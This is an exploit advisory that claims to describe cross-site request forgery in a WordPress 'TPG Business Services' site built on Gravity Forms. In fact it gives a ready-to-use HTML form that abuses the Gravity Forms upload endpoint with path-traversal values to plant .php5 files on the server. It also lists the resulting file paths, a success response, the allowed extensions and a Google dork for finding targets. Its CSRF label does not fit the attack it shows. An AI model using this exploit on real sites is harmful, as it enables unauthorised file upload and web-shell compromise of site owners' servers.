####################################################################

# Exploit Title : WordPress TPG Business Services Cross Site Request Forgery

# Author [ Discovered By ] : jiangsutianwang

# Team : jiangsutianwang Security

# Date : 22/05/2019

# Vendor Homepage : tpgbusiness.com - gravityforms.com

# Software Affected Versions : N/A

# Tested On : Windows and Linux

# Category : WebApps

# Exploit Risk : Medium

# Google Dorks : Copyright 2015 Geoff Zahn LLC | Powered by TPG Business Services

# Vulnerability Type : CWE-352 [ Cross-Site Request Forgery (CSRF) ]

# PacketStormSecurity : packetstormsecurity.com/files/authors/13968

# CXSecurity : cxsecurity.com/author/jiangsutianwang/1/

# Exploit4Arab : exploit4arab.org/author/351/jiangsutianwang

####################################################################

# Impact :

\*\*\*\*\*\*\*\*\*\*\*

WordPress TPG Business Services is vulnerable to cross-site request forgery, caused by

improper validation of user-supplied input. By persuading an authenticated user to visit

a malicious Web site, a remote attacker could send a malformed HTTP request to

perform unauthorized actions. An attacker could exploit this vulnerability to perform

cross-site scripting attacks, Web cache poisoning, and other malicious activities.

The web application does not, or can not, sufficiently verify whether a well-formed,

valid, consistent request was intentionally provided by the user who submitted the request.

When a web server is designed to receive a request from a client without any mechanism

for verifying that it was intentionally sent, then it might be possible for an attacker to trick a

client into making an unintentional request to the web server which will be treated as an

authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and

can result in exposure of data or unintended code execution.

####################################################################

# CSRF Cross Site Request Forgery Exploit :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

<title>WordPress TPG Business Services Input Exploiter</title>

<form action="http://[VULNERABLEWEBSITE]/?gf\_page=upload" method="post" enctype="multipart/form-data">

<body background=" ">

<input type="file" name="file" id="file"><br>

<input name="form\_id" value="../../../" type=hidden">

<input name="name" value="jiangsutianwang.html" type=''hidden">

<input name="gform\_unique\_id" value="../../" type="hidden">

<input name="field\_id" value="" type="hidden">

<input type="submit" name="gform\_submit" value="submit">

</form>

# Directory File Path :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

/\_input\_\_jiangsutianwang.php5

/\_input\_\_[YOURFILENAME].php5

# Vulnerability Error :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

{"status" : "error", "error" : {"code": 500, "message": "Failed to upload file."}}

# Vulnerability Error [ Successful ] :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

{"status":"ok","data":{"temp\_filename":"..\/..\/\_input\_\_jiangsutianwang.php5","uploaded\_filename":"jiangsutianwang.php"}}

# Allowed File Extensions :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

.html .htm .php5 .php2 .txt .jpg .gif .png .html.fla .phtml .pdf

# Example Usage for Windows :

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

# Use with XAMPP Control Panel and your Localhost.

# Use from htdocs folder located in XAMPP

# 127.0.0.1/wordpresstpgbusinessservicesexploiter.html

####################################################################

# Discovered By jiangsutianwang from china Security Team

####################################################################